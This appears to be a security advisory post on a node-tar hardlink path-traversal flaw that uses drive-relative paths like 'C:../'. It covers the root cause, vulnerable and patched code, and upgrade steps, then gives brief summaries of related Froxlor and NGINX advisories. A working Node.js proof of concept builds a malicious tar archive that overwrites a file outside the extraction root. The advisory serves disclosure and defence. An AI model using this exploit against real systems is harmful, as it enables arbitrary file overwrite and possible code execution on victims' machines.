Mar 5, 2026·6 min read·106 visits
Attackers can overwrite arbitrary files by tricking `node-tar` into extracting hardlinks pointing outside the current working directory using drive-relative paths like `C:../`. Fixed in version 7.5.10.
A high-severity path traversal vulnerability exists in the `node-tar` (npm package `tar`) library versions prior to 7.5.10. The vulnerability allows an attacker to overwrite arbitrary files on the target system by crafting a malicious tar archive containing hardlink entries with drive-relative paths (e.g., `C:../target`). Improper sanitization logic fails to detect the traversal sequence before stripping the drive root, resulting in file operations outside the extraction root.
The node-tar library, a widely used implementation of the tar archive format for Node.js, contains a path traversal vulnerability within its archive extraction logic. The flaw specifically affects the handling of hardlink entries (Link type) that utilize drive-relative paths—a path format primarily associated with Windows filesystems but interpretable by the library's path logic.
When a tar archive is extracted, the library attempts to sanitize file paths to prevent directory traversal attacks (writing files outside the intended destination). However, a logical error in the sanitization order allows specific path patterns, such as C:../target, to bypass validation checks. This results in the extraction of hardlinks that point to locations outside the designated extraction root.
Successful exploitation grants an attacker an arbitrary file overwrite primitive. If the process running the extraction has write permissions to sensitive system files or application code, this vulnerability can lead to Remote Code Execution (RCE) or Denial of Service (DoS) by corrupting critical files.
The root cause of this vulnerability lies in the incorrect ordering of path validation and normalization operations within the Unpack class in src/unpack.ts. The library attempts to identify malicious paths by checking for directory traversal segments (..) before fully normalizing the path structure.
The vulnerable logic proceeds in the following sequence:
C:../target) is split by the forward slash separator /. This results in the array ['C:..', 'target'].'..'. Since 'C:..' is not equal to '..', the traversal check passes successfully.stripAbsolutePath() is called. This function correctly identifies C: as a drive root and removes it to prevent absolute path usage.C:../target into ../target.Because the path was modified after the security check, the resulting path contains a valid traversal sequence that was never validated. The library subsequently uses this path to create a hardlink, resolving it relative to the current working directory and allowing access to the parent directory.
The fix involves reordering the sanitization steps to ensure that the path is normalized (root stripped and slashes unified) before the traversal check occurs. The following analysis compares the vulnerable implementation with the patched version in commit 7bc755dd85e623c0279e08eb3784909e6d7e4b9f.
Vulnerable Code (Simplified Logic):
// The check happens BEFORE stripping the root
const parts = p.split('/');
if (parts.includes('..')) {
return false; // Check fails to catch 'C:..'
}
// Root is stripped AFTER the check
const [root, stripped] = stripAbsolutePath(p);
// 'stripped' is now '../target', which is unsafePatched Code:
// 1. Strip the root FIRST
const [root, stripped] = stripAbsolutePath(p);
// 2. Normalize backslashes to forward slashes
// This handles cases like 'C:..\' on Windows
const normalized = stripped.replace(/\\/g, '/');
// 3. Split and check for traversal segments
const parts = normalized.split('/');
if (parts.includes('..')) {
return false; // Now correctly identifies '..'
}By stripping the absolute path root first, the input C:../target becomes ../target before the validation logic runs. The subsequent check for parts.includes('..') correctly identifies the threat and blocks the extraction.
Exploiting this vulnerability requires the attacker to create a malicious tar archive and convince a user or automated system to extract it using a vulnerable version of node-tar. The archive must contain a Link entry (Type '1') with a linkpath constructed to leverage the drive-relative bypass.
Attack Scenario:
C:../critical_config.json.tar.x(). The validation logic fails, and the library attempts to link the entry to ../critical_config.json relative to the extraction root.Proof of Concept:
The following Node.js script demonstrates the creation of a malicious archive and the resulting path traversal:
const fs = require('fs');
const path = require('path');
const { Header, x } = require('tar');
// Setup: Target file in parent directory
const target = path.resolve(process.cwd(), '..', 'target.txt');
fs.writeFileSync(target, 'ORIGINAL');
// Exploit: Create tar with drive-relative linkpath
const b = Buffer.alloc(1536);
new Header({
path: 'exploit_link',
type: 'Link',
linkpath: 'C:../target.txt' // The bypass payload
}).encode(b, 0);
fs.writeFileSync('poc.tar', b);
// Trigger: Extracting overwrites '../target.txt'
x({ cwd: process.cwd(), file: 'poc.tar' });The impact of this vulnerability is classified as High (CVSS 8.3). The primary consequence is an integrity violation through arbitrary file overwrite. While the attack vector is local (requiring user interaction to process the file), the integrity and availability impacts are significant.
The vulnerability is particularly dangerous in CI/CD pipelines, package installation scripts, and server-side applications that process untrusted tar archives.
The vulnerability has been addressed in node-tar version 7.5.10. Users should upgrade immediately to this version or higher.
Mitigation Steps:
package.json and regenerate lockfiles.
npm install tar@^7.5.10npm audit to identify any transitive dependencies that may rely on vulnerable versions of tar.CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L| Product | Affected Versions | Fixed Version |
|---|---|---|
tar isaacs | < 7.5.10 | 7.5.10 |
| Attribute | Detail |
|---|---|
| CVSS v4.0 | 8.3 (High) |
| Attack Vector | Local (User Interaction Required) |
| Vulnerability Type | Path Traversal (CWE-22) |
| Affected Component | node-tar (npm package 'tar') |
| Impact | Arbitrary File Overwrite |
| Exploit Status | PoC Available |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.
An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.
CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.
CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.
Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.
An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.